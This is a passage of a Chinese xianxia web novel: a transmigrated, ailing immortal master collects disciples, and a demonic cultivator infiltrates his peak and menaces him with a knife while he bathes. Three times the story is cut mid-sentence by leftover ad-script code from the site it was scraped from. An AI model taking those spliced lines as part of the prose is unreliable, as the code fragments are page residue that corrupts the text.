《美人师尊他总被觊觎》 1. 美人榜 云气缭绕,天地浩渺,一行白鹭穿云而上,盘旋在云雾间的峰顶上。 “师兄,别看了,你要是扑了它们,晏仙尊指定要训你的。”庭院里洒扫的小胖童望着房檐乐呵呵笑着,像是想到了什么趣事似的。 檐上雪色狐狸瞪那小童一眼,随即悻悻然盘着身体卧起,蓬松而柔软的尾巴轻轻扫动,回归那懒散的姿态。 它垂眸看着身下没有动静的屋子,口吐人言:“巳时已近,师尊怎么还不醒。” 小胖童也跟着看过去,平日里仙尊至少是比他这位狐狸师兄起的早的,现在确实是有些不寻常,偏偏屋子被下了禁制,他们也不能随意进入的。 “月中了,许是魇症复发……”他丢了扫把急急向外跑去,“我去把二师兄叫来!” “嗤,二师兄就很厉害吗。”狐狸不屑地扭头,毛茸茸的脑袋不自觉贴着房檐蹭了蹭,是跟人一贯的做派,只是它能撒娇的人现在还没醒。 屋里,竹鹤的屏风后,床帘猛然被手指攥住,如玉的指节越来越紧,指尖也开始发白,最后又倏地松开回落。 床上的人胸口微微起伏着,衣襟松垮,偶有几缕发丝垂下,白皙的皮肤配上那张眼尾曳着薄红的清俊面庞,添了几分凌乱坠欲美感。 晏江山靠在床头,手指轻轻揉着太阳穴,平复着心情,都说修仙之人寡欲,他怎么会梦见…… 青年犯了嘀咕,以前每到一定的时间也会做梦,但打打杀杀的比较多,现在的梦倒是越来越怪。 莫非是话本看多了?青年老脸一红,他看的东西,也没那么不正经……吧? 晏江山瞥眼床头的东西,好像找到了罪魁祸首,随手掐个决,那话本就消失在空气里。 “师尊,你醒了吗。”刚解决完,门外传来一道清润的男声。 晏江山忙整理衣服,把最后一丝做了绯梦的迹象消除,这才喊人进来。在这世界许多年,他已经很精通怎么装出师父模样了。 “进来。” 其实他不喊,这个精通医术的二徒弟也是能进来的,当初下禁制的时候,唯一一个借着行医方便,要了令牌的就是他了。 “师尊,这是又梦见什么东西了?”来人一席青衣气质清雅,行礼过后,娴熟地找了位置坐下,抬手就想拉了晏江山的手把脉。 “还好。”或许是因为刚才的梦,青年下意识躲开了他的手,转移话题问起其他事情,“今天怎么没听见五音峰弟子晨练的声音。” 五音峰精通音律,但是也不是个个都精通音律的,时常就有一些不堪入耳的混入其中,也能穿过云霄到了九灵峰。 据晏江山所知,那边最近可是来了个极为难办的弟子,今天居然没什么动静。 “今天是宗门大会第一天,十年一度弟子选拔,大概去看热闹了。”晏月敛眸,再度搭上了师尊的手。 晏江山这次没躲,他现在已经没工夫想什么做梦了,满心满眼都是宗门大会选弟子。 青年看向身前正专心把脉的二徒弟,眸子里尽是满意之色,想他来这个世界一百二十载,谁不知道他的徒弟个个出色? 虽然他收徒是有些缘由的,但是也不耽误这时候他也想去看热闹啊。 “师尊……”晏月眉心微拧,轻声唤回了晏江山已经飞到山下的心,“师尊的病症还是老样子,灵脉萎缩虚弱,两日之内境界怕是又要大跌。” “嗯嗯。”青年随意地点着头,看着徒弟有些小郁闷的模样,开解着,“没事的,过段时间就好了。” 对于修仙之人来说,每个月都有几天境界大跌,这可真是太要命,稍不注意就直接身死道消,偏偏他自己还不甚在意。 “我现在去熬药。”晏月把被子拉好,又把师尊的手放在被子里,转身离开。 晏江山看着关上的门,心中暗叹,这别扭孩子怕是又要自己生闷气去了。 这些年晏月可没少操劳,明明于医药一道精通非常,却只是围着他的病转。这是他来这个世界就自带的debuff,哪里是寻常东西能治的好的。 想着,晏江山的心又飞走了,比起药,还是山下等着他收的弟子们好玩。 * 山下,繁花似锦,鸟雀啼鸣。 街道两边尽是小摊小贩,来来往往比平日里更要热闹许多,偶尔还能看到身着门派衣服的宗门弟子。 虽然晏江山的名气不小,但是平日里都是借着化名出门,其他峰认识他的不算多,倒也不必担心会被认出来,现在他还做了伪装,就更不用担心了。 “老板,一碗桂花蜜。”晏江山稍稍拉开帷帽,帷帽下还有覆面的冰丝。 “唉,好嘞。”老板见人装扮奇怪,也不多想,今日正是朝天宗弟子选拔,形形色色的人,他这两天可见得多了。 “老板!我们这儿也要两碗!!”晏江山话音刚落,不远处又坐下两位,打扮干练像是特地来参加弟子选拔的。 “你到底想拜进哪位门下?”其中一个胖点的男子推了推旁边的瘦猴。 瘦猴摸了摸手边的剑,一脸向往:“听说朝天宗有位晏仙尊很爱收徒,要是能在他门下就好了。” “你是说美人榜赫赫有名的那位?” “咳!”晏江山手一抖,桂花蜜差点没端稳,他老脸红了又红,都什么东西,真有连他也不知道的闲话杂书? 旁边那两人没注意这边的动静,接着他们的闲谈:“什么美人榜不美人榜,你就惦记着你的美人!” “那为什么想去晏仙尊门下?这位常年闭门不出,没听说善剑啊?” “傻了吧你,当初泸阳城外鸿天阙,一剑破鸿天的就是他徒弟啊!” “所以你想拜他为师?”胖子若有所思。 “不,我想拜他徒弟为师。” 晏江山:……有时候徒弟盛名太过也不好,他拳拳收徒心还没动呢,就裂了条缝。 为了修补他破破碎碎的收徒心,他决定先去最爱的书香阁逛一圈,往常都是让门童来买,现在自己来这边逛的感觉还是有些不一样的。 挑好了觉得有些意思的话本,临结账时,晏江山又问掌柜:“这里有……” 青年唇角微抿,几次也没成功把那“美人榜”三个字说出来,谁起的名字,这也太羞耻了。 “呦,这位公子,有的!有的!”掌柜也是颇为识趣,上下打量了晏江山的这幅行头,就明白这怕是不好见人,羞于启齿。 “来!这可能是本店的招牌,平日里不轻易示人的!”掌柜拿出了一个泛着金光的卷轴,看样子是有灵气加持的,上方赫然写着“美人榜”,“只需加五十颗灵石,本店还有天才榜,奇闻榜,灵妖异怪榜!!” 晏江山愣住了,一个是惊于掌柜的娴熟揽客技巧,一个是讶于……有这么多奇奇怪怪的榜单他怎么全都不知道!! 于是乎,出书香阁的时候,晏江山本来也没带多少的灵石,空了将近一半。 等寻了僻静的茶楼,青年就直接坐下开始翻看这些东西,他拿起美人榜三次,到底没勇气打开,选择放过自己,先看其他东西。 天才榜就比美人榜让他容易接受多了,一共二十名,无一不是声名鹊起的少年天才,他的三位徒弟也赫然在列。 只是这第一……晏江山的视线扫过一溜人,看向最顶端 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' :“问野?” “欸,他叫你名字呢。”茶楼斜上方,白衣公子哥摇着竹扇,好不悠闲,跟他比起来,旁边的人就颇有些不耐了。 “还不是你搞出的破榜单。”他对面的少年蹙着眉,黑漆漆的眸底透着冷意,看着就不是好相与的。 “我说,什么叫破榜单,那可是玉林公子我辛苦搜罗来的,你别是门主派给你的潜伏任务完成的不好,来我这儿撒气吧。”白玉林手一顿,竹扇合一,他点了点桌子上被主人随手搁置的竹笛。 “早知道你不通音律,门主怎么也不能让你去了五音峰,真是糟践了我的好竹子。” “管你什么好竹子坏竹子,不想朝天宗秘境里的事出差错,就赶紧回去禀报。”问野睨了他一眼,警告道,“如果再有什么小动作——” “嘭!” 话音落,原本桌子上好好的笛子顷刻间化为齑粉,被风一卷居然半点残沫也不剩了。 白玉林手中欲开的竹扇当即顿住,面上的轻佻之意也明晃晃的收敛,他僵硬地扯出一个笑,示意自己知道了。 魔修门内本来也是明争暗斗,从来没个停歇,他搞天才榜这一出,虽然是为了引起旁人注意,阳谋坑问野一把,但是这天才榜榜首,却也不单单是因为他的私心。 这家伙……是有够野的。 白玉林掐了个决走了,问野看着空荡荡的屋子,有些百无聊赖的乏味,魔门烦,宗门烦,这外面也无聊的烦。 正烦着,抬眼却看到了刚才念叨他名字的人:高挑,白皙,鲜亮系带缠在劲瘦的腰肢上,绣了暗纹的衣摆随风飘扬,比这更引人注目的是那张脸。 不过金丹初期,在泸阳城里或许算个人物,但是对于问野来说,看破那层遮掩面容的伪装,可是简单的不能再简单,尤其是他作为魔修,本来就擅长干这种勾当。 一个漂亮的小仙君。问野半倚在窗边,脑海中闪过念头。 恰时,那小仙君也似有所感地,朝着他的方向看了过来。 要被发现了?问野挑眉,不过也没有避开的意思,就这么直勾勾,不带任何躲闪地看着。 小仙君扭头,转身,视线慢慢扫过,然而落点却并不在他身上,甚至都没有一瞬间的视线凝聚于他。 看着人出了自己的视野,问野微微侧身,往下瞟了一眼,那人正在楼下的小摊贩处,看着一团鸟毛爱不释手。 嗤,不过三阶乌羽雀有什么稀奇,送他他都不要。 晏江山乐乐呵呵看着手里的东西,除了他徒弟那只大毛绒狐狸,还是难得碰上手感这么好,这么让他喜欢的东西呢。 果然,毛茸茸拯救世界! 青年刚要问价,身后幽幽飘来一道男声,依旧清润,依旧温雅,依旧用着敬称,但不难听出带着点发难意味: “您,打算什么时候回去呢。” “现在,现在就回。”晏江山心虚到不敢看人,而旁边的小摊贩见势不妙,也偷偷推着小车去了别处。 晏月瞥了小贩一眼,带着自家偷跑下山的师尊去了旁边的阴凉茶楼处,轻声道:“我正好要去拿点灵药,您等我一下,马上就回来。” 在外面,晏江山从来不让他们叫师尊,晏月虽然不解,但也照做。 他买完需要的东西,顺着刚才摊贩离开的地方走去,没多久就找到了人,但当时师父把玩的东西却是不见了。 “您是想找三阶乌羽雀的羽扇吗?我这儿没有了。” 小贩也觉得奇怪,平日里无人问津,怎么一来就来这么些人想要,他这儿就只有一把啊。 “刚才一个高高大大的公子,已经给买走了。” 2. 口师大业 小摊前,晏月默了默,最后不带一丝情绪的敛眸走开。 回九灵峰的途中,他瞥了眼山下,还是热热闹闹的一片,但是那些热闹却没有半分映进他的眼里。 那些淡淡的思绪,只有碰上他的师尊,才会有些许波动:“师尊,您还想去宗门大比看看吗。” “不去了吧,反正只是最初级外门弟子的选拔,等拜师大典如果有合适的,掌门跟几位师兄师姐,也会让我看看的。” 晏江山原本的收徒心就在没人注意角落破碎一地,现在这被自己徒弟兼医师逮回去,就更没好意思再说什么看热闹了。 两人这么几句话的功夫,飞舟就路过了一整片森林,在上空远远的就能看到一老一少附近围着一大片妖兽。 空地上十一二岁的少年手中握着匕首,脸上的擦伤鲜血淋漓,但也不难看出那双眼睛被逼到极致生出的怒意,他将老者护在身后,跟眼前的妖兽对峙着,没有一点要退让的意思。 离他最近的双头狼嗅到鲜血的气息更加激动,跃跃欲试而后冲了上去!少年力竭,几乎能闻到它嘴里呕人的腥臭气息,他闭上眼睛,一秒,两秒…… 他还活着? 少年睁眼,眼前是泛着绿光的大网,把他跟老者紧紧罩住,所有的妖兽都被隔绝在网外,刚才那头双头狼更是直接暴毙在他面前。 “师尊,你撑得住吗?” 少年顺着声音看过去,跟他们一起在大网里的,还有一个青色衣服的公子,正在跟外面被他唤作师尊的人说话。 “在外面不许叫我师尊。”晏江山提醒道。 虽然境界大跌,收拾一群低阶妖兽还是绰绰有余的,没一会儿剩下的妖兽见势不妙,四散奔逃而去。 如果只有他一个人,当然是追上去把这群作孽的东西消灭殆尽,偏偏旁边还有一老一少,他那徒弟灵力不精,防身的毒方秘法怕是没带,他一时也走不开。 不过正好。 青年一个漂亮的旋身,衣袂翻飞,随风而立,端的是潇洒飘散的仙人姿态。 仙人随手一挥,绿色大网就进了储物戒,他看着瞪大眼睛的少年,弯眸笑道:“有兴趣做我徒弟吗?” “师……” “师尊,这群妖兽来的蹊跷,我们怕是得赶紧回宗门禀报。”晏月看了这对爷孙一眼,“愿意去朝天宗的,此刻多在宗门大会选拔处,更何况这老人家家里怕是只剩孙儿了,若收了他做师弟,老人家一个人可怎么办是好。” 少年敛眸,没出口的那声师尊就这么没了声息,晏江山也犯了难,是他只惦记着收徒弟没考虑周到了。 “这个给你们,止血去疼颇有疗效,伤口且小心些,别碰上水。”青年从储物戒取了一个药瓶。 “谢谢仙人!谢谢仙人!!”老者涕泗横流,忙接了过来递给少年,垂首就要拜却被一把扶住。 “老人家客气,你们也快回去吧。”晏江山说着就上了飞行法器。 “敢问仙人姓名?!”少年攥着药瓶,半张脸还流着血,昂首喊道。 “姓江,名岁安。” “江岁安?”少年望着已经化为一个黑点的飞舟,喃喃重复着。 他旁边的老者见那两人远去,这才俯身恭敬道:“主人,最后两颗敛灵丹已经用完,如此距离我们大抵不会被追踪到了,我们现在……” “走。”少年手一挥,两瓶药一样消失在空气中,他看了一眼高耸的山,这是朝天宗的地盘。 “师尊,为何从来不让我们在外面叫您呢,每次外出也总是只用化名。” “那当然是怕有人找上门寻仇了。”晏江山是这么说的,但他知道晏月怕是不会信,不过他素来乖觉,定是不会追根究底的。 “师尊心善,总是救人。”晏月笑笑,确实没在问。 他这位师尊,属实是个好人,不然也不能渡劫时怕波及到他,顶着天罚,硬是在乱葬岗护住他这个半死之人,把他救了回去。 师尊也因此元气大伤,闭关数年,当时已经拜入门下的大师兄,给了他这个师弟好一段时间的冷脸。 一晃几十年过去,晏月现在都还记得无边雨幕里,那道伴着惊雷,照亮他师尊面容的光。 可真是晃人。 思绪回笼,飞舟已经到了宗门的主峰元若峰,最近宗门大会事务繁多,以前经常来往的长老也都在忙,元若峰就只剩下峰主坐镇。 “呦,稀客。”长须小老头捋了捋自己的胡须,一副了然的模样,“去山下玩被你这徒弟逮回来了吧?” “我们分明是去山下杀妖的,可别污蔑我。”晏江山摸了摸鼻子,反正晏月又不可能拆他台,还不是由着他说什么是什么。 “峰主。”晏月躬身行礼,“山下忽然出现了一群妖兽,虽然都是低阶兽类,但兽潮期还远,如今正逢宗门大会紧要关头,独居的妖兽们成堆出现,怕是有什么蹊跷,” “还真是去杀妖了?”元若峰主狐疑地看晏江山一眼,别人他不知道,这个小师弟他还能不知道吗,今天弟子选拔这家伙不出去看看才怪。 他给个手势,示意晏月下去,随后上下打量晏江山:“呵,修为比上次跌的还厉害点儿,你这徒弟奔波这么久,还没查出来怎么回事?” “没有呢,是个麻烦事儿。”晏江山敷衍着,但也还想替自己徒弟正名,“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 药王谷都没法儿救,晏月能给我延缓到这种程度,已经是很不错了。” “好好好,你徒弟厉害,行了吧。” 他知道自己小师弟宝贝那些徒弟,也爱收徒,提醒道:“金丹境可不够那些隐世老怪看的,既然有这么几个好徒弟,就别四处乱跑收徒了,要这么多徒弟干什么。” 没等他再说什么,门外忽然传来弟子的禀报声:“长老邀几位峰主有要事相商。” 元若峰主下意识就想让晏江山也去,可抬眼看到了他的境界,便也眼不见心不烦的摆摆手,作势赶人,这人还是回去好好养着吧,有什么事儿他知会一声就是。 等两人回九灵峰,正值中午,烈日当空。 晏江山看了眼檐上,平日总是卧在那里的狐狸并不在,到现在这个点儿居然都没来找他,这家伙怕是不在九灵峰了。 “路离去哪儿了。” “仙尊,小师兄早上还在的,等我叫二师兄过来,就已经不见踪影了。”正在修剪枝杈的小胖童挠了挠头,他早上是真的看见了路离师兄的。 晏月淡淡道:“毕竟是一族少主,纵然受师尊喜爱,也是有些玩性的。” “哎。”晏江山看着路离常待的房檐叹了口气,他那么大一只大白毛绒狐狸,就这么没了。 “师尊何故叹气。” 那边庭院入口进来一人,身姿挺拔,玄刃配身,正午暖阳也遮不住那一身的肃杀冰冷之气,进了院子才稍作收敛。 “已经金丹后期了?”顾鸣一来,晏江山就眼前一亮,真不愧是他最看好的徒弟,这不过才闭关短短两月吧? “师尊见笑,将将后期,尚未稳固。”顾鸣不善谈笑,但是见着自己敬仰的师尊欣喜,也不自觉勾起嘴角。 晏江山笑得更开心了,早在他刚来这个世界的时候,就有个劳么子系统,要他完成什么口师大业,否则身上这病症将伴随终生,当然,任务提示他是被口的那个。 他们绿江人两耳不闻窗外事,一心只读绿江书,能绑定他的系统,那当然是最纯洁的绿江统,口口是什么还用说? 不就是找徒弟杀了他吗! 没事,他都懂。 虽然是为了完成任务,可晏江山也不愿意让自己死的太憋屈。 于是乎,在来到这个世界的几百年里,他遍挑徒弟培养,为的就是能在以后堂堂正正打败他这个师父。 顾鸣现在就是他最看好的一把口师利器。 晏江山随手一挥,地上掉落的树枝,就忽然到了他手里,绚烂灵力带起劲风,一树花舞翩然,落英缤纷,美人美景,美不胜收。 美人下巴一扬:“练练?” 3. 来我房间找我 顾鸣只觉得心神一动,愣了一瞬过后,这才再度握紧了腰上的玄色长剑,利刃出鞘,冷光晃进人眼睛里,照亮了瞳仁: “请师尊赐教!” 虽然晏江山现在只有金丹初期的修为,又以木做剑,但两人招式拼杀,你来我往,一时之间也看不出有谁落了下风。 一旁的小童怕被波及,往后退了退,圆溜溜的眼睛盯着近乎残影的两人,生怕漏了什么。 晏月则是一如既往,神色淡淡,原本到了九灵峰就该去处理的灵药,就这么被主人放在一边,显然这会儿是无心处理了。 片刻后,一抹青绿色的灵气悄悄注入传音符,传送的对象是某只不在场的狐狸。 “师尊正在跟大师兄过招,难得的场面,不来看看?这还是师尊第一次跟徒弟练手吧,可惜我们修习之术,都不适合跟师尊练手。” 传音过去,仿若石沉大海,再没动静,但晏月知道,就凭狐狸的个性…… “顾鸣!!!”白光掠过,带着惊人的妖力,原本正在过招的两人节奏被倏地打乱,同时被弹开。 “哈?”路离早就从狐狸形态化为人形,直直地跟顾鸣的剑招对上,步步紧逼,“我去探查兽潮,你在这儿跟师父打架??” “离儿。”那血脉传承的妖力实在蛮横,晏江山后退几步,恰好晏月也正在那个方向,轻轻环住师尊腰肢,帮忙稳住身形。 路离背对着看不到,心思本来就在师尊身上的顾鸣可看的清楚,深眉微蹙,他总觉得有哪里不对。 面前妖力更盛,顾鸣也不得不把注意力拉回在这个不知世的小师弟身上:“你干什么。” “你跟师父打架还问我干什么?”路离说着就要再攻上去,“你是不是欺负师父修为跌了?!” “路离!”晏江山加重了语气。 原本气焰嚣张的狐狸霎时熄了火,翘着尾巴就要往师尊旁边蹭,委委屈屈道: “师父,人族说一日不见如隔三秋,我们都隔了三个秋天,好些时日了呢,师父怎么一见面还训斥我。” “先跟你师兄道歉。” 听着自家师父语气依旧严厉,路离这才扭头冲着顾鸣“对不起”,完事飞快把头扭回来,乖觉道:“师父,我道完了。” 顾鸣只是冷冷瞥他一眼,并不对这么敷衍的形式做出反应。 晏江山:“这里是朝天宗,不得随意对同门出手,记住了?” “可是,他都跟师父打架了。”路离不服,“九灵峰谁不知道师父最近生病,顾鸣不就是仗着师父跌了修为欺负人吗。” 顾鸣:“师尊,我并非有意挑这个时间——” “你受伤刚闭关出来,怎么会知道这个。本来就是我找你练练,没事。”安抚过大徒弟,晏江山又看向路离,“狡辩,又想去思过崖了?” “师父我知道错了,我不应该强词夺理。”路离面色一正,不再卖乖,“师兄对不起,我不应该跟你动手。” 话毕,人形消失,路离又化成本体,不过要比早上在檐上小一些,只有这样才能正好被师尊抱住。 它往他怀里跳,晏江山自然也就接住了,毕竟,哪个毛茸茸爱好者会拒绝一只大毛绒狐狸呢。 青年很顺手的就在狐狸脑袋上揉了揉,看在周围人眼里,就觉得是师尊对这个小徒弟格外宠爱了。 “师尊,我先去处理灵药。”晏月挪开视线,刚才用过的传音符早就灰飞烟灭,他打声招呼就带着灵药去一旁收拾。 “辛苦你了。”晏江山笑笑,而后问起怀里的狐狸,“刚才你说是去山下探查兽潮了?” “是啊,事情来的太急,那些蠢东西懂不懂事,不能换个时间吗,我都还没来得及看一看师父呢。”狐狸语气幽怨。 青年点了点它的脑袋,叫它说话注意些,没待开口,一旁的顾鸣道:“现在正逢宗门弟子选拔,妖兽躁动或许跟这个有关。” “这还用说,朝天宗山脚下,我又在这里,平日里夹着尾巴过活的东西,没得缘由,怎么敢生了歹心。”路离张扬道。 虽然都是妖,但如他涂山一脉声名显赫,比起纯然兽类更偏向精怪,自恃高贵。 何况身为涂山少主,路离天然对低阶妖兽有着统治威亚,他在晏江山门下,那些东西居然敢在朝天宗的地盘撒野,着实让人火大。 更恼火的是,他为处置这些东西,甚至放弃了早上跟师父相处的时间,竟也没能揪出幕后之人。 “一会儿把你知道的,跟熊长老交涉吧,过两天秘境就要开启,可不能出什么岔子。” “师父,我用了午饭再去吧。” 青年无奈,这狐狸从第一次见他,就粘人的紧,吵着闹着非要入他门下,可叫当时专门负责接待妖族来宾的熊长老吓得不轻,偏偏涂山狐王也拿儿子没办法,事情也就这么顺理成章定下了。 从那往后,路离就粘他粘的更紧了,这会儿说着用了午饭就去,等真用了午饭,怕是又要推到晚上了。 “你现在就去,等回来刚好赶上用饭。”晏江山明着下了令。 “师~父~我想——” “现在。” “好吧。”路离不情愿的走了,一步三回头的狐狸,怎么看怎么可怜。 “师尊,师弟如此做派,实在不像话。”这让顾离想起了这家伙刚来的时候,跋扈的狐狸叫嚷着要把他们赶走,自己做大师兄,做师尊唯一的徒弟。 那时,师尊第一次训斥他,他也是这幅做派,顾家五岁稚童都不会如此撒泼,而路离,如今已五百六十岁有余。 “狐族五百岁方成年,算起来,小师弟也才成年不久,师兄何必跟他计较呢。”晏月提着灵药,看样子是刚处理完毕,正好听到顾鸣的话。 顾鸣下意识皱眉,前不久那股怪异又涌上心头,他还是觉得有哪里不对。 “你们两个跟他差不多大时,可是懂事多了。”他们的话也让晏江山回忆起了过去,他嘟囔着,“这样确实不行,等秘境开启,该让他进去历练一番了。” 青年抬头看着面前的两个徒弟:“到时候你们也去吧,泸阳秘境百年一开,元婴以下皆可进,都去练练也好。” “泸阳秘境……”晏月喃喃似乎在想什么东西,“这个秘境里是不是有个叫月见潭的地方?” 晏江山诧异:“你如何晓得?” “最近得一古籍,里面有味名唤月见草的灵药,聚气生灵,能稳定师尊的境界,但据说极其难寻,且枯萎极快,只存活一炷香的时间。” “传说它在月见潭,我仔细对比了古籍所述环境跟位置,也是最近才把范围锁定在泸阳。” 顾鸣听明白晏月的意思:“那秘境元婴以下,不拘修为,师尊如今正好金丹境。” 看着面前两人期许的目光,晏江山强行压下自己可能要去秘境跟一群小辈抢资源的羞耻:“去,我也去。” 笑话,谁能想到九灵峰师徒四人第一次齐活办事,是因为要下秘境呢。 “师尊,那我一会儿去后山灵泉布下汤浴,想充分发挥月见草功效,需提前温养神脉。” 晏江山刚要叫晏月等用了饭再去,却见这人已经出了门,他跟路离在这个方面可以说截然不同。 刚才还算热闹的庭院,现下就剩两人,青年瞥了眼过招时地上留下的划痕,伸手拉住顾鸣的手腕,放出神识查看。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “出招太急,动手太莽,之前的魔种未清,怎么不晚点再出关。” 两月前顾鸣在外执行宗门任务时,中了算计,被魔种幻境所困,还是晏江山去救了他回来,闭关这两个月,境界精进了,魔种余毒居然还未完全清除。 “师尊放心,就是这两日的事情了。”顾鸣行了一礼,是他不够周全,可最近毕竟宗门大会选拔弟子,真要是晚个两天,指不定等他出关时,就又多了一个师弟。 “你可小心着点。”晏江山对这个还是颇为上心的,“罢,晚间戌时三刻,来我房间找我,把剩下的魔气逼出来。” 顾鸣垂首称是。 * 酉时,五音峰。 千百年岁数的老树枝上靠着一人,姿态慵懒,神情散漫,一手枕在脑后倚在树上,另一只手正在把玩着一把羽扇。 三阶乌羽雀,实在算不上什么稀罕东西。 “我说你都看了半个时辰了,那上面有秘技宝典吗。”树下的石桌上,先前从茶馆走开的白玉林也在这里,他是借着宗门大会刚混进来的外门弟子。 见树上的人不理他,白玉林烦躁的摇起了扇子,他的白玉竹做的笛子,被随手扬得灰都不剩,现在抱着一个低阶妖兽的鸟毛看的起劲儿。 问野这就是在报复他对吧? “问野大爷,我给你道歉,天才榜是我不对,但是——”白玉林声音越来越大,随后想起这是在什么地方,忙收敛声息,“但是门主也让我潜伏朝天宗,等着进试炼,你就行行好,配合一下吧。” 少年一动不动,就在白玉林以为他不会理他时,却听那人忽然道:“你手里不是消息多?九灵峰的有吗。” 在别人看不见的视野里,羽扇周围缭绕着的浅色灵力化成了一条线,线另一头的方向,有且只有一座峰门。 这是气息拟态,那个小仙君也是朝天宗,甚至就是隔壁九灵峰的人。 “九灵峰?”白玉林闻言,瞬间进入到准确搜集情报的状态,谈起这个他可是熟的不能再熟。 “九灵峰,峰主晏江山,是美人榜有名的美人,不过是个多病的,不爱出门,知道他的,怕是还没有知道他徒弟的人多。” “他的三个关门弟子,大徒弟顾鸣就是破了鸿门那位,二徒弟联合大比上,决战药王徒孙略胜一筹,那个小的你应该知道更多了,涂山独苗苗。” 问野听罢,把玩着羽扇的手顿了一下:“没了?” “没了?”白玉林觉得这人是在质疑他的能力,“虽然据说这位晏仙尊爱收徒弟,但是九灵峰来来去去也就那么多人,你想知道什么?” 问野看了眼气息拟成的线,金丹初期的仙君,在九灵峰,但也不像白玉林描述的几个徒弟,倒是带他离开的那个买药的,能跟二徒弟对上号。 他是新来的外门弟子,跟着下山采买? “喂!马上戌时了,你去哪儿!”白玉林看着问野跳下树的背影,心中有股不妙的预感。 “我去迷个路。”说话间,人已经没了踪影,只留回音飘荡。 “靠!”白玉林没忍住,这哪里是大爷啊,问野分明就是他祖宗,他没事儿招惹他干什么! 彼时,“迷路”的问野已经到了九灵峰,为了防止有人在宗门大会生事,朝天宗很大一部分的长老都被派往山下,但这里面多半是不包含白玉林口中病弱的晏仙尊的。 问野也没打算在别人的地盘,跟一个修为至少元婴的峰主对上,是以,他给自己选择了一条绝佳的迷路路线。 少年抬头,层林遮掩,草石离乱,隐约听得山泉细幽,流水潺潺。 后山,可真是个好地方啊。 4. 湿透的衣衫贴在身上 晏江山喜欢月亮。 不知道是不是他的错觉,修仙界的月亮总是要比他之前见过的亮一些,他收徒跟吸毛茸茸之余,最喜欢干的事情,就是看月亮。 其实也不止月亮,修仙界的好风光,数不胜数,等任务结束脱身后,总要寻个机会去看看的。 水光粼动,随波而荡,那抹倒映下来的月色也跟着浮沉,置身其中,好像月亮好像掉进了灵泉里,融成一池,曳拽着银光。 青年静静坐着,乌发在热气蒸腾过后,带着点点的潮意乖巧地趴在肩头,只吝啬地留一点肤色的白,好像泉水折射在身上的光,胸口以下全部泡在泉里,被泛着涟漪的水波遮挡。 晏江山浅吸一口气,鼻间尽是灵药的淡淡清香,身体也被顺着皮肤而进的灵药气息改善着,整个人都透着一股松散的惬意。 “师尊,感觉好些了吗。”旁边,晏月伸手试试水温,放进相应需要的灵药,如此动作,娴熟至极。 “嗯。”青年看了一眼自己徒弟,忽然道,“出了朝天宗,还有什么想去的地方吗,听说药王老人家很赏识你。” 晏月放东西的动作顿了一顺,他下意识看过去,却又微微垂首,只盯着水面,并不直视正在灵泉里的半裸师尊。 “您……是想赶我出九灵峰吗,是徒儿哪里做的不好吗。” “怎么会。”晏江山忙道,“别多想,你可是我从十岁带到现在的,有我在的地方,就是你的家。” 青年心中暗叹,晏月是他在乱葬岗发现的,或许是因为在奄奄一息时,看到了他,又或许是生怕再次被抛弃,他自小就是三个徒弟里最乖巧最和善的一个。 可是…… 可是,他注定是要死在徒弟手里的,届时他不在,晏月的家又是哪里呢。 晏月还是低着眉眼的模样,平和宁静的侧脸,在温柔的月光下尤为温驯:“师尊,我会永远陪着您的。” 上穷碧落下黄泉。 至死方休。 “什么人敢私闯九灵峰!看你狐狸爷爷不扒了你的皮!”远处,忽然传来路离的怒骂。 晏月神色也警惕了起来,他看向四周,观察着一切动静,知道师尊这个病症的人算不上多,可难保有人泄密。 那边路离似乎跟人打了起来,传来了灵气碰撞的波动,但以路离的修为妖力,居然这么久也没能拿下他。 “师尊,我马上回来。”晏月面色一凛发现了什么,运起身法朝另一个方向追过去。 晏江山下意识用神识扫过四周,奈何元婴时的强大探查能力,在境界跌落到金丹初期时,简直迟钝到可怕,没等他探查完,池子的倒影里,除了月亮还出现了一个人。 “阁下来我九灵峰有何贵干?”青年透过影子跟身后之人对视,他的修为显然是在现在的自己之上,做了伪装后,只能看出是个高大的男人。 “一时不慎,迷路而已,被此峰弟子追杀,慌不择路,还请小仙君助我。” 这人虽然话说的是一副急需求助的样子,但是语气确实不疾不徐,甚至晏江山还从里面听出了一丝玩味。 男人慢慢蹲下,就在他身后,两人水中的倒影几乎叠在了一起,与此同时,一股寒气逼上脖颈。 倒影中,有了比月光还亮的东西,那是一把散发着阴寒的匕首,不用问都知道,这东西上怕是沾了不少血。 “怕吗?” 说着,刀尖挑起乌黑的发丝,轻佻地挑在一旁,没了那些头发的阻隔,凉意贴在平日里不怎么碰触的肌肤处,引得一阵颤栗。 “深夜来访,又引开我几个师兄,你究竟想干什么。” 晏江山没动,他从这人之前说的话里,至少能得出一个结论,他不是冲着“修为大跌的晏仙尊”来的。 既然他不知道,自己就更没必要暴露身份了,平白送出去一个弱点。 “师兄?”问野挑拨道,“其他人不是修为深厚,就是技艺惊人,九灵峰就你是金丹初期,看来晏仙尊并不如何疼你啊。” 晏仙尊本尊:他其实挺疼自己的,真的。 问野图穷匕见:“跟着我,怎么样?” “阁下实力高深,何必纠缠于我一个朝天宗弟子。”晏江山做了几百年别人师父,这还是第一次有人上赶着给他当师父的,不得不说,有点诡异的新奇。 这倒是把问野问住了,他们魔修向来随心所欲,想干就干,要不是为了维持魔修门下表面的平和,这什么任务他都不想做。 “看你可怜。”他随便找了个理由,盯着鸟毛都能看半天,可不是可怜吗。 虽然两人身份不同,立场不同,但把人哽住的能力,倒是大同小异。比如说现在晏仙尊就不明白,他到底是哪里让别人觉得自己可怜了。 在晏江山沉默的几秒里,那不速之客不知是无聊,还是处于什么别的目的,冰冷的刀尖开始沿着蝴蝶骨的线条移动,他动作不算重,只是有些痒,可比起痒,如影随形的窒息感更多。 青年明确感受到,这人在威胁自己。在感觉到危险的同时,晏江山出神的想:够强,也够疯,如果这人是他徒弟就好了。 那系统任务不是分分钟就完事,可惜不是,他的命只能折在他徒弟手里。 不远处,忽然又传来动静,似乎是有人过来,问野没扭头看,只是依旧盯着面前的漂亮小仙君。 不就是喜欢鸟毛吗,到时候按储物戒给他装好了,这个装黑鸟,那个装白鸟,想拔哪个毛就拔哪个毛。 